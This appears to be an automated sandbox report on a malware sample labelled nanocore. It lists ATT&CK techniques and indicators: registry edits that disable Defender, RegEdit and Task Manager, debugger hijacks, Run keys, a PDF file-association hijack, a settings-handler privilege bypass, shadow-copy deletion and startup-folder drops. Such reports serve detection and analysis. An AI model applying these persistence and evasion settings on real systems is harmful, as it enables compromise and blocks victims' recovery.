nanocore | f89c0cbe66cf6df37bc5e47297be616b9ae50157a5b611a7b4bcea4299fea51b

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	gziz.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1080	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	gziz.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	gziz.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gziz.io_chrome.exe"	gziz.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	gziz.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gziz.io_chrome.exe"	gziz.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	gziz.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gziz.io_chrome.exe"	gziz.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	gziz.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4308	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	gziz.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	gziz.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	gziz.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gziz.io_chrome.exe"	gziz.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gziz.io_chrome.exe"	gziz.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gziz.io_chrome.exe"	gziz.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2956	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	gziz.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	gziz.io_chrome.exe
File created	C:\Windows\system32\svchost.exe	gziz.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
5804	wscript.exe
5412	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	gziz.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	gziz.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1796	sc.exe
5652	sc.exe
2524	sc.exe
3904	sc.exe
3132	sc.exe
4592	sc.exe
5656	sc.exe
5628	sc.exe
2352	sc.exe
4332	sc.exe
3636	sc.exe
3780	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1660	cmd.exe
1304	cmd.exe
1336	cmd.exe
5244	cmd.exe
3112	cmd.exe
924	cmd.exe
5448	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5660	chrome.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	chrome.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
5224	ipconfig.exe
308	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2736	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4996	vssadmin.exe
5216	vssadmin.exe
1252	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\WallpaperStyle = "2"	gziz.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134304452886161493"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings	gziz.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open	gziz.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	gziz.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	gziz.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command	gziz.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell	gziz.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	gziz.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings	gziz.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	gziz.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell	gziz.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gziz.io_chrome.exe"	gziz.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command\DelegateExecute	gziz.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command	gziz.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open	gziz.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	gziz.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\gziz.io_chrome.exe\" \"%1\""	gziz.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4972	schtasks.exe
1640	schtasks.exe
4648	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5440	chrome.exe
5440	chrome.exe
1080	powershell.exe
1080	powershell.exe
1080	powershell.exe
1440	WMIC.exe
1440	WMIC.exe
1440	WMIC.exe
1440	WMIC.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
456	WMIC.exe
456	WMIC.exe
456	WMIC.exe
456	WMIC.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
1076	WMIC.exe
1076	WMIC.exe
1076	WMIC.exe
1076	WMIC.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe
5796	gziz.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5796	gziz.io_chrome.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
808	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5440	chrome.exe
Token: SeCreatePagefilePrivilege	5440	chrome.exe
Token: SeShutdownPrivilege	5440	chrome.exe
Token: SeCreatePagefilePrivilege	5440	chrome.exe
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeShutdownPrivilege	5440	chrome.exe
Token: SeCreatePagefilePrivilege	5440	chrome.exe
Token: SeShutdownPrivilege	5440	chrome.exe
Token: SeCreatePagefilePrivilege	5440	chrome.exe
Token: SeShutdownPrivilege	5440	chrome.exe
Token: SeCreatePagefilePrivilege	5440	chrome.exe
Token: SeShutdownPrivilege	5440	chrome.exe
Token: SeCreatePagefilePrivilege	5440	chrome.exe
Token: SeIncreaseQuotaPrivilege	1440	WMIC.exe
Token: SeSecurityPrivilege	1440	WMIC.exe
Token: SeTakeOwnershipPrivilege	1440	WMIC.exe
Token: SeLoadDriverPrivilege	1440	WMIC.exe
Token: SeSystemProfilePrivilege	1440	WMIC.exe
Token: SeSystemtimePrivilege	1440	WMIC.exe
Token: SeProfSingleProcessPrivilege	1440	WMIC.exe
Token: SeIncBasePriorityPrivilege	1440	WMIC.exe
Token: SeCreatePagefilePrivilege	1440	WMIC.exe
Token: SeBackupPrivilege	1440	WMIC.exe
Token: SeRestorePrivilege	1440	WMIC.exe
Token: SeShutdownPrivilege	1440	WMIC.exe
Token: SeDebugPrivilege	1440	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1440	WMIC.exe
Token: SeRemoteShutdownPrivilege	1440	WMIC.exe
Token: SeUndockPrivilege	1440	WMIC.exe
Token: SeManageVolumePrivilege	1440	WMIC.exe
Token: 33	1440	WMIC.exe
Token: 34	1440	WMIC.exe
Token: 35	1440	WMIC.exe
Token: 36	1440	WMIC.exe
Token: SeShutdownPrivilege	5440	chrome.exe
Token: SeCreatePagefilePrivilege	5440	chrome.exe
Token: SeBackupPrivilege	4936	vssvc.exe
Token: SeRestorePrivilege	4936	vssvc.exe
Token: SeAuditPrivilege	4936	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1440	WMIC.exe
Token: SeSecurityPrivilege	1440	WMIC.exe
Token: SeTakeOwnershipPrivilege	1440	WMIC.exe
Token: SeLoadDriverPrivilege	1440	WMIC.exe
Token: SeSystemProfilePrivilege	1440	WMIC.exe
Token: SeSystemtimePrivilege	1440	WMIC.exe
Token: SeProfSingleProcessPrivilege	1440	WMIC.exe
Token: SeIncBasePriorityPrivilege	1440	WMIC.exe
Token: SeCreatePagefilePrivilege	1440	WMIC.exe
Token: SeBackupPrivilege	1440	WMIC.exe
Token: SeRestorePrivilege	1440	WMIC.exe
Token: SeShutdownPrivilege	1440	WMIC.exe
Token: SeDebugPrivilege	1440	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1440	WMIC.exe
Token: SeRemoteShutdownPrivilege	1440	WMIC.exe
Token: SeUndockPrivilege	1440	WMIC.exe
Token: SeManageVolumePrivilege	1440	WMIC.exe
Token: 33	1440	WMIC.exe
Token: 34	1440	WMIC.exe
Token: 35	1440	WMIC.exe
Token: 36	1440	WMIC.exe
Token: SeShutdownPrivilege	5440	chrome.exe
Token: SeCreatePagefilePrivilege	5440	chrome.exe
Token: SeIncreaseQuotaPrivilege	1080	powershell.exe
Token: SeSecurityPrivilege	1080	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe
5440	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5796	gziz.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5796 wrote to memory of 5440	5796	gziz.io_chrome.exe	89
PID 5440 wrote to memory of 4548	5440	chrome.exe	90
PID 5796 wrote to memory of 1080	5796	gziz.io_chrome.exe	91
PID 5796 wrote to memory of 5628	5796	gziz.io_chrome.exe	93
PID 5796 wrote to memory of 2524	5796	gziz.io_chrome.exe	94
PID 5796 wrote to memory of 3904	5796	gziz.io_chrome.exe	97
PID 5440 wrote to memory of 5660	5440	chrome.exe	98
PID 5440 wrote to memory of 4160	5440	chrome.exe	99
PID 5440 wrote to memory of 4160	5440	chrome.exe	99
PID 5440 wrote to memory of 3680	5440	chrome.exe	100
PID 5440 wrote to memory of 3680	5440	chrome.exe	100
PID 5440 wrote to memory of 5488	5440	chrome.exe	103
PID 5440 wrote to memory of 5488	5440	chrome.exe	103
PID 5440 wrote to memory of 1816	5440	chrome.exe	104
PID 5440 wrote to memory of 1816	5440	chrome.exe	104
